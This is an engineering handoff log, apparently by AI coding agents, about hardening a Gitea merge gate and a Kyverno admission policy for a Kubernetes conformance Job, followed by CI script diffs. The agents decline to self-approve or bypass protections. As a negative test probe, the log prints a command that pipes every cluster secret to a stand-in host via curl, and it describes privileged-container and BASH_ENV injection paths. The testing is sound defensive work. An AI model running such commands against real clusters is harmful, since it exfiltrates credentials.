`REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml`, so a future missing token blocks
instead of skipping. Doing that before seeing it green locks the repo.
Until then every gate run ends `MERGE GATE: UNDETERMINED` (exit 3) naming `gitea-settings` as
unrun. That is BY DESIGN and `gate.yml` tolerates exit 3, so PRs still pass — but it is not a
green run, and it is saying so honestly. The token is what turns it green.
### A DIFFERENT COMPUTER NEEDS THREE THINGS THAT ARE NOT IN GIT
This is the part that will silently waste an hour otherwise. None of these are in the repo, by
design, and without them the toolbox and the cluster are unreachable:
1. **`~/.config/sops/age/keys.txt`** — the age PRIVATE key. Without it NO `*.sops.yaml` can be
read or edited, and `sops` will fail in a way that looks like a broken file. Copy it from this
workstation; the public recipient in `.sops.yaml` is only half the pair.
2. **`infra/ansible/.cache/prod.kubeconfig`** — untracked, so it exists only in the main checkout
on this machine. Without it `dev.sh` refuses to start. In a git WORKTREE it is absent even
here: use `DEV_KUBECONFIG=/dev/null` for anything that needs no cluster (see `CLAUDE.md` §3).
3. **A Gitea credential** for `gitea.home.keithjackson.dev` (this session used the stored
`~/.git-credentials`). `git push` and every `infra/gitea/*.sh` script needs it.
### STATE, MEASURED — do not re-derive it from this log, re-measure it
`CLAUDE.md` §2b exists because this log was confidently wrong for a month. Verify before relying:
protected:true user_can_push:false enable_status_check:true
status_check_contexts:["gate / gate (pull_request)"] required_approvals:1
block_admin_merge_override:true runner incluster-dind: online gate ~1m35s
### NEXT WORK, in priority order
1. **Finish the L2/L3 wiring** now that the credential model is decided and #13 lands the
boundary. Still missing (`docs/plans/l2-l3-conformance-ci-wiring.md` §3): a runner image with
bash/python3/kubectl/git/chainsaw, an init-container cloning the repo at the PR SHA, results
collection via a base64 tar on stdout, and the `ci/conformance.sh` rewrite to drive the Job.
**Tighten the admission policy's image pattern to the literal digest when that image exists.**
2. **Do NOT set `vars.CLUSTER_AVAILABLE=true`** until step 1 is done. It does not enable L2/L3; it
only changes which way the stage fails (see #12).
3. The `gitea-settings` detector covers branch protection + runners. It does NOT yet cover Gitea
Actions **variables and secrets** — the next-nearest invisible surface.
4. `required_approvals: 1` with two accounts means a PR authored by `jakman85` needs `gitea-admin`
to approve. The operator holds ultimate authority and does not require that review; revisit if
it becomes friction.
### THE LESSON, because it caused every finding here
Four times this session the repository was treated as evidence about the live platform, and four
times it was wrong: the push that would "be rejected" (it would not have been), the token that
"could not survive the pipeline" (~2m45s, it fits), the required check that would "deadlock" (a
skipped Gitea job reports SUCCESS), and enforcement that was "on" (admins overrode it). Two
fail-opens in the gate itself were found the same way — `kyverno test` certifying policies that do
not load, and `CLUSTER_AVAILABLE` certifying 54 skipped tests as passed.
**Measure, then assert. `CLAUDE.md` §2b is the rule; this entry is the evidence for it.**
## 2026-09-29 (addendum, unattended) — the detector is armed; **I CANNOT MERGE, and that is correct**
Operator ran `set-ci-token.sh`, uncommented `REQUIRE_GITEA_SETTINGS` locally on `main`, and left
instructions to continue unattended and merge on green CI. Two things came out of that.
### 1. The detector was INERT, and would have stayed inert silently
`set-ci-token.sh` PUT the secret as `GITEA_SETTINGS_TOKEN`. **Gitea reserves the `GITEA_`
prefix** for secret names (as GitHub reserves `GITHUB_`) and rejected it:
HTTP 400 {"message":"invalid secret name"}
The script sent that PUT to `/dev/null` and printed `==> stored.` unconditionally; `curl -sS`
exits 0 on an HTTP error. **A token existed; no secret did.** So `ci/gitea-settings.sh` would
have skipped on every run forever — and enabling `REQUIRE_GITEA_SETTINGS` on top of that would
have BLOCKED EVERY PR, including the one fixing it. That is the exact lock-out this repo has now
nearly walked into three times.
Fixed in **PR #15**: the secret is `SETTINGS_API_TOKEN`, and `set-ci-token.sh` now checks the HTTP
status AND reads the secret back before claiming success. The missing verification was the real
defect; the illegal name is only what it hid. The secret is stored and verified present, and
**PR #15's CI is GREEN with `REQUIRE_GITEA_SETTINGS=true`** — which is the only proof that
matters, because a skip would have made it red.
The operator's local edit could not be pushed to `main` (protected). It is carried in PR #15.
### 2. No agent-authored PR can be merged without the operator — by design
Merging PR #12 as `gitea-admin` returned:
HTTP 405 {"message":"Does not have enough approvals"}
`required_approvals: 1` + `block_admin_merge_override: true` + two accounts, one of which
(`gitea-admin`) authors every agent PR and cannot self-approve. **So "merge on green CI" is not
something an agent can execute here.** That is the control working, not a fault — and it was
deliberately not circumvented. Self-approving would hollow out the boundary that was just built
and verified.
**This is an operator decision, not a bug to fix:** either accept that every agent PR waits for a
human approval (the honest reading of the control), or add a second human reviewer account, or
lower `required_approvals` to 0 and rely on the status check — which is the gate that actually
verifies something. Whichever, change the DECLARATION in
`infra/gitea/expected-branch-protection.json` in the same commit, or `gitea-settings` will
correctly fail the gate on the drift.
### Open PRs, all gated green, none mergeable by an agent
| PR | What |
|---|---|
| #12 | `CLUSTER_AVAILABLE=true` would have faked a green over 54 skipped tests — now blocks |
| #13 | Conformance-trigger admission boundary (R-SEC-02) + `kyverno test` fail-open fix |
| #14 | This handoff |
| #15 | Secret-name fix + `REQUIRE_GITEA_SETTINGS` enabled — **CI green with REQUIRE active** |
Suggested order: #15 first (it arms the detector and its CI already proved it), then #12, #13,
#14. If a later one conflicts, rebase; the gate re-runs in ~1m36s.
### Deliberately NOT done while unattended
No new feature work was started. Five unmerged PRs already stack review burden, and building the
next L2/L3 piece on top of unmerged branches would create a rebase tangle for no gain — the work
cannot land any faster. The next piece is specified and ready to start once these are merged:
`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
boundary landed in #13.
---
## 2026-09-29 — The conformance Job can now run a specific commit and get its results out. **And the policy meant to bound it ignores `initContainers`.**
Branch `feat/conformance-job-template`. Closes `docs/plans/l2-l3-conformance-ci-wiring.md`
§3 items **2** (repo at the commit under test) and **3** (results collection with no exec
channel). `chainsaw-job.yaml` was a skeleton whose `workspace` was an empty `emptyDir` with
nothing to fill it; it is now a renderable run template.
### The binding constraint, and how it was met
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy:
Fail`) admits **only `workspace` and `results`** as volume names. So the git credential
could not be a Secret volume and the init container could not have a scratch volume:
- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
(`username`, `token`) — an env var is not a volume. By **name only**; no literal in the
tree. The token reaches `git` through an inline `credential.helper` that reads the
environment, so it never appears in argv (where `ps` and the Pod spec would show it) and
is never written to disk.
- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
`$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner
could not write it.
- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the
clone target, and a directory mounted into it makes the target non-empty, so `git clone`
refuses. Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
**Admission proven, not assumed** — rendered template through the pinned CLI (kyverno
v1.19.0, in the toolbox):
kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
--resource <rendered job> --userinfo .../user-info.yaml
Applying 3 policy rule(s) to 1 resource(s)...
pass: 3, fail: 0, warn: 0, error: 0, skip: 0
with negative controls on the **same** rendered template to show the rules actually bite:
adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
`/spec/template/spec/containers/0/command/`. That shape is now a fixture
(`real-template` in `platform/kyverno/tests/conformance-trigger/resources.yaml`), so a
template that drifts out of admission fails `make -C ci l0` instead of failing at 2am.
### ⚠ THE FINDING: the admission boundary does not look at `initContainers`
Measured, same CLI, same rendered template — **only** the init container's `args` replaced
with `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`,
`containers[0]` left fully compliant:
pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
All three rules read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). **`initContainers` is never examined.** So the
precise escalation the policy exists to stop — the privileged `conformance-runner` SA
running an arbitrary command because Kubernetes places no `use` check on
`serviceAccountName` — is still reachable, one field over. This predates today's work: the
gap was there when the policy shipped in PR #13, and a Job with no init container at all
could already have carried one.
**Not fixed here, deliberately.** A security boundary changes in its own reviewed PR, not
smuggled in beside the Job that has to satisfy it. Recommended follow-up, in order:
1. Bake the clone script into the runner image at a fixed path, drop the init container's
`args`, and add a 4th rule pinning `initContainers` to one container on the same
digest-pinned image with `command: ["/usr/local/bin/conformance-clone"]` and no args.
Then no caller-supplied code runs in an init container at all.
2. Weaker fallback: deny any `initContainers` entry whose image is not the pinned runner
image.
Also worth knowing: **`kyverno apply` evaluates these rules with or without `--userinfo`** —
the extra-volume control fails either way. A CLI pass is evidence about the *patterns*, not
about the `subjects` filter. The claim in `kyverno-test.yaml`'s header that userinfo is what
makes the cases non-trivial holds for `kyverno test`, not for `kyverno apply`.
### Results out of the Job with no exec channel
The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins
`command` to exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts
afterwards. `run.sh` therefore does it itself, on an **EXIT trap** (a failed run still ships
its red JUnit — that is the evidence the gate most needs), armed only by
`CONF_EMIT_ARTIFACTS_TGZ=1`:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
<base64 of the tgz, wrapped at 76 columns>
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
decodes a truncated stream to plausible garbage without complaint. So size, base64 line
count and digest appear in **both** markers and the collector owes five checks, each
documented above the function. **Verified locally, not asserted:** full decode round-trips
to a valid tar; tail-truncation and head-truncation fail check 1; a dropped interior line
fails check 3; one corrupted character fails check 5. Exit-code preservation through the
trap was tested for 0, an explicit `exit 3`, and a `set -e` abort — the envelope's `rc=`
matched the process rc in all three.
### Gate
Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main
checkout's `.git`, per CLAUDE.md §3):
lint: green l0: green render-golden: green l1: green
spec-immutability: SKIPPED (sibling spec repo absent)
gitea-settings: SKIPPED (no SETTINGS_API_TOKEN locally)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE unset)
MERGE GATE: UNDETERMINED — rc 3
Nothing FAILED. rc 3 is the expected local outcome and `gate.yml` tolerates it.
### UNVERIFIED — read before believing any of this runs
- **Nothing here has ever executed.** The `conformance-runner` image does not exist (plan §3
item 1), so the Job cannot be submitted, and the init container's clone/fetch/assert
sequence, the credential helper and the envelope-over-`kubectl-logs` path are all
**unexercised against a cluster**. The envelope itself is verified; its transport is not.
- Secret `conformance-git-readonly` does not exist (plan §3 item 6, operator).
- `uid 65532` is asserted by the Job's `runAsUser`/`fsGroup`; the image that must provide it
has not been built. If the Containerfile picks a different uid, the Job will not start.
- Whether Gitea's `uploadpack` accepts `fetch origin <sha>` for a non-tip commit was not
tested; the shallow-clone-then-fetch fallback assumes it does. If it does not, the
`HEAD == SHA` assertion turns that into a loud failure rather than a wrong-tree run.
- `ci/conformance.sh` still runs the suite **locally** and is untouched (plan §3 item 4).
This branch changes nothing about what CI does today.
### PR #20 — and a correction to what was expected to block it
Opened against `main`, **not merged**. I was briefed to expect CI to FAIL on an
`approval-policy` check because `conformance/**` is security-relevant. **That check does not
exist.** Measured rather than assumed:
grep -rn approval .gitea/workflows/ -> no match
GET /repos/.../branches/main
protected True
user_can_push False
enable_status_check True
status_check_contexts ['gate / gate (pull_request)']
required_approvals 1
GET /repos/.../commits/<head>/statuses
success gate / gate (pull_request) Successful in 1m36s
pending gate / conformance (pull_request) Blocked by required conditions
So: the **only** required context is `gate / gate`, and it is GREEN (1m36s — it ran; this is
not the skipped-job-reports-success trap). There is **no path-based approval policy in CI at
all**. What actually stops this merging is `required_approvals: 1` plus the fact that
`gitea-admin` authors every agent PR and cannot self-approve — the same control that returned
HTTP 405 on PR #12. `gate / conformance` is "Blocked by required conditions", i.e. the
`CLUSTER_AVAILABLE` guard, unchanged.
**Consequence worth acting on:** a change under `conformance/**` — including a change to the
admission boundary itself — is gated by a *generic* human approval, not by anything that knows
the path is security-relevant. If the intent is "security-relevant paths get a stricter
review", that policy is not implemented anywhere in this repo. `CODEOWNERS`-style path review
or a `paths:`-scoped required check would be the mechanism; neither exists today.
The PR was **not merged** and nothing was worked around.
---
## 2026-09-29 (addendum to PR #20) — the `initContainers` hole is CLOSED, and so is `ephemeralContainers`
The coordinator reproduced the finding above independently, then **authorised the policy edit my
brief had forbidden** — reversing it explicitly, on the grounds that the ban existed to stop the
boundary being *bent to fit a Job*, not to stop a hole being closed. Their reproduction, which I
had not tried: a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A`, `serviceAccountName: conformance-runner`, `containers[0]` fully
compliant → `pass: 3, fail: 0`. **Admitted.** `=(privileged): "false"` in rule 1 only ever
applied to `containers[0]`.
### What changed
`platform/kyverno/admission/conformance-trigger-job-shape.yaml` gains two rules:
- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
must be on the digest-pinned `conformance-runner` image, `command:
["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
false`, not privileged.
- **`trigger-may-not-declare-ephemeral-containers`** — the third container list, answering the
question the coordinator asked. See the honesty note below.
Both use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least one**
element matches", so a pattern-based init rule would have admitted the committed clone step
**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
Two implementation traps worth recording:
- **`not_null()`, never `||`.** JMESPath treats `false` as falsy, so
`element.securityContext.allowPrivilegeEscalation || `true`` rewrites the **compliant** value
`false` into `true` and denies every good Job. Absence defaults must use
`not_null(x, `default`)`.
- **`join(' ', command)` compared as a string, not the array compared with `Equals`.** Kyverno's
`Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
`["/bin/sh","-c",…]` through on element 0.
### The clone script moved OUT of the Job — that is the actual fix
Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
a policy cannot distinguish the committed script from an attacker's, because both are just data.
So the logic is now `conformance/incluster/conformance-clone`, which the runner image installs
at `/usr/local/bin/conformance-clone` (mode 0755 — added to plan §5 step 1 as a hard requirement,
and handed to the agent building that image; the `^[0-9a-f]{40}$` guard and the
`rev-parse HEAD == SHA` assertion are the load-bearing parts and survived the move verbatim). The
script stays in-repo and reviewable, which is the property the inline version was protecting. The
Job's init container is now `command` + `env` and nothing else.
**One thing I changed while moving it, and it matters:** the repository URL is now **hardcoded in
the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
nothing about `env`. Had the URL stayed in env, a trigger could point the clone at a repository it
controls and have `containers[0]` execute that repo's `./run.sh` as `conformance-runner` — the
same escalation, laundered through a field nobody constrains. **Do not move that URL back into
env.** Constraining `env` in the policy is the remaining hardening step and is NOT done.
### Proven, not asserted (kyverno v1.19.0, pinned toolbox)
##### the real rendered template MUST PASS
Applying 5 policy rule(s) to 1 resource(s)...
pass: 5, fail: 0, warn: 0, error: 0, skip: 0
##### the coordinator's exact probe MUST FAIL
1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
##### same escalation via ephemeralContainers MUST FAIL
1 - trigger-may-not-declare-ephemeral-containers ...
pass: 4, fail: 1, warn: 0, error: 0, skip: 0
Full fixture matrix from `kyverno apply --policy-report` (37 pass / 10 fail, 0 error, 0 skip):
| resource | may-create | volumes | args | initContainers | ephemeral |
|---|---|---|---|---|---|
| `real-template` | pass | pass | pass | **pass** | pass |
| `good-run` | pass | pass | pass | — | pass |
| `evil-command` | **fail** | pass | — | — | pass |
| `evil-image` | **fail** | pass | — | — | pass |
| `tag-not-digest` | **fail** | pass | — | — | pass |
| `host-namespaces` | **fail** | pass | — | — | pass |
| `extra-volume` | pass | **fail** | — | — | pass |
| `injected-args` | pass | pass | **fail** | — | pass |
| `evil-initcontainer` | pass | pass | pass | **fail** | pass |
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass |
| `second-initcontainer` | pass | pass | pass | **fail** | pass |
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** |
`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Note how every
`evil-*` init/ephemeral case **passes the three original rules** — that is the whole finding in
one column, and it is why the fixtures are worth more than the rules' prose.
### UNVERIFIED — the `ephemeralContainers` question, answered honestly
I could **not** confirm whether the API server would accept `ephemeralContainers` inside a Job's
pod template. Upstream, the field is settable only through the `pods/ephemeralcontainers`
subresource and `ValidatePodCreate` rejects it on Pods, but that check does not obviously apply to
a pod **template** nested in a Job, and I did not find a definitive answer. Establishing it would
need a `create --dry-run=server`, i.e. a mutating request, which CLAUDE.md §5 reserves to the
operator — so I did not run one. **The rule was added anyway:** it is a no-op if upstream already
rejects the field, and it is the same hole again if it does not. "Probably rejected upstream" is
not a boundary. If someone with cluster-write access wants to settle it, that is a one-command
check; the rule should stay either way.
Still unverified, unchanged from the entry above: nothing here has executed, because the runner
image does not exist — and it now has one more obligation to meet (`/usr/local/bin/conformance-clone`)
before it can. If that path is missing or named differently, the init container fails to start;
if it is present but the image is not the pinned digest, admission denies the Job.
### Process note, worth more than the policy fix
Both halves of this came from **probing rather than reading**. The hole was not visible in the
policy's prose — which is careful, accurate about what it does constrain, and explicit that it is
"THE SECURITY BOUNDARY" — only in what the CLI did with a tampered resource. The `--userinfo`
observation is the same shape: `kyverno apply` evaluates these rules with or without it, so a
green CLI run is evidence about the patterns and **not** about the `subjects` filter that decides
whether they apply at all. A policy is only as trustworthy as its negative fixtures.
---
## 2026-09-29 (second addendum to PR #20) — `env` was the same hole a third time; and the plan's phase-exit invocation cannot run
Three inputs arrived after the entry above: agent 1 shipped `/usr/local/bin/conformance-clone`
in PR #18, the coordinator invited me to constrain `env`, and agent 1 measured which `args`
shapes the image can actually execute. All three changed this branch.
### 1. I was shipping a DUPLICATE of a security-critical script — deleted
I wrote `conformance/incluster/conformance-clone.sh`; agent 1's PR #18 adds
`conformance/incluster/conformance-clone`. Two copies of the clone entrypoint in one directory,
one of them baked into the image and one of them not, is a guaranteed drift into "the reviewed
file is not the file that runs". **Mine is deleted**; everything now references agent 1's path,
which arrives with #18.
I read their version before deleting mine rather than assuming compatibility, and the interface
my Job depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`;
baked clone target `/workspace/src` (which is what makes my `workingDir:
/workspace/src/conformance` correct); `TMPDIR`/`HOME` required to be under `/workspace`; and both
load-bearing guards preserved — `^[0-9a-f]{40}$` on the SHA and `rev-parse HEAD == SHA` after
checkout. Theirs is a superset: it also hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC`
that disagrees with the baked values, rather than honouring it.
Worth recording that agent 1 reached the hardcoded-URL conclusion **independently and against an
instruction to read those values from env** — the coordinator's instruction, which they then
retracted. Two agents finding the same "the policy doesn't read this field, so trusting it just
moves the injection" reasoning in the same afternoon is the signal that the field-enumeration gap
was systemic, not a one-off.
### 2. `env` was unconstrained — now allowlisted (two more rules)
The coordinator left this to my judgement. I closed it, because it is provably the same bug:
`command` and `args` are pinned, so injection moves to whatever adjacent field nobody
enumerated, and **`BASH_ENV` alone is arbitrary code execution** — bash sources it before
running a non-interactive script, and the runner's command IS a bash script.
- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
`CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
`CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
The init list iterates `initContainers[].env[]` flattened, so it keeps working if the
at-most-one cap is ever relaxed.
- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
nowhere in the Job, which would make the allowlist above unenforceable by inspection.
**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
legitimately environment-specific, and `conformance-runner` can already read this namespace's
Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector
that matters, because a name is what a program keys behaviour on.
Two Kyverno traps, both of which silently invert the result and are now commented in the rules:
- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant**
value `false` into `true` and denies every good Job.
- **`join(' ', command)` compared as a string**, not the array compared with `Equals`: Kyverno's
`Equals`/`NotEquals` are unreliable on arrays, and element-wise matching lets
`["/bin/sh","-c",…]` through on element 0.
### 3. The committed `args` default was a shape that cannot run
Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on
the runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()`
then filters to `/l0-static/|/l1-rendering/`:
| args | offline selection | verdict |
|---|---|---|
| `--layer l2,l3` | empty | **RUNS** |
| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
So `--layer` is mandatory and must name only l2/l3. **The committed default was
`--layer all --strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More
importantly: **the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A
full-suite run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the
manifest header and needs to land in `ci/conformance.sh` (plan §3 item 4).
I did **not** narrow the policy's args allowlist to match. A security boundary should not encode
which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
considered.
### Proven (kyverno v1.19.0, pinned toolbox, 7 rules now)
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Full fixture matrix — 65 pass / 13 fail / 0 error / 0 skip:
| resource | creat | vols | args | init | ephem | envnm | envfr |
|---|---|---|---|---|---|---|---|
| `real-template` | pass | pass | pass | pass | pass | pass | pass |
| `good-run` | pass | pass | pass | — | pass | — | pass |
| `evil-command` | **fail** | pass | — | — | pass | — | pass |
| `evil-image` | **fail** | pass | — | — | pass | — | pass |
| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
That is why the env rule had to be its own rule and not a condition bolted onto the init rule.
### UNVERIFIED, still
- Nothing has executed against a cluster. PR #18 must merge first (the image digest), and Secret
`conformance-git-readonly` still does not exist.
- Whether the API server accepts `ephemeralContainers` in a Job pod template — unchanged from the
entry above; establishing it needs a mutating dry-run reserved to the operator.
- The env allowlists are derived from what the two programs read TODAY. If `run.sh` or the clone
entrypoint grows a new variable, admission denies the Job until the allowlist is widened in a
reviewed change. That is the intended failure direction, but it is a coupling the next person
editing either script needs to know about, so it is called out in the rule's message.
+3
View File
@@ -32,6 +32,9 @@ render-golden: ## render==golden: canonical render reproduces committed apps/ (n
l1: ## L1 rendering checks (no cluster; live now)
@"$(CI_DIR)l1.sh"
gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
@./gitea-settings.sh
conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
@"$(CI_DIR)conformance.sh"
+40
View File
@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
fi
# ---------------------------------------------------------------------------------------
# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
#
# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
#
# MEASURED 2026-09-29, before this guard existed:
# CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
# "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
# "[ ok ] L2/L3 conformance passed for touched subset"
# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
# it because nobody had ever set the variable.
#
# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
# makes the stage itself honour that instead of reporting a pass.
JUNIT="${CONF_ART}/report.junit.xml"
if [ -f "$JUNIT" ]; then
total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
err " (scaffold mode -- run.sh could not reach a cluster and exited 0)."
err " This stage will NOT report that as a pass. Either the cluster is unreachable from"
err " this runner, or CLUSTER_AVAILABLE is set when it should not be."
err " NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
err " docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
err " by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
err " runner has no credential for (automountServiceAccountToken: false, by design)."
summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
exit 1
fi
log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
fi
ok "L2/L3 conformance passed for touched subset"
summary "- conformance-l2-l3: **passed**"
+26
View File
@@ -112,6 +112,7 @@ run_stage lint "${CI_DIR}/lint.sh"
run_stage l0 "${CI_DIR}/l0.sh"
run_stage render-golden "${CI_DIR}/render-golden.sh"
run_stage l1 "${CI_DIR}/l1.sh"
run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
run_stage conformance "${CI_DIR}/conformance.sh"
echo >&2
@@ -188,6 +189,31 @@ case "${OUTCOME[spec-immutability]}" in
pass) ok "spec-immutability: green" ;;
esac
# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
# token is wired, and the skip becomes a block as it should.
case "${OUTCOME[gitea-settings]}" in
fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
skip)
if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
BLOCK=1
else
warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
warn " registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
warn " (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
NOT_ESTABLISHED+=("gitea-settings")
fi ;;
pass) ok "gitea-settings: green" ;;
esac
# L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
# unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
# degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a
+126
View File
@@ -0,0 +1,126 @@
#!/usr/bin/env bash
# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
# match what git declares.
#
# WHY THIS STAGE EXISTS AT ALL
# ----------------------------
# Every other check in this repo reads the repository, the rendered manifests, or the
# cluster. NONE of them can see Gitea's own database — and that is where branch
# protection and runner registration live. On 2026-09-29 that blind spot was measured:
#
# * `main` had NO branch protection, and
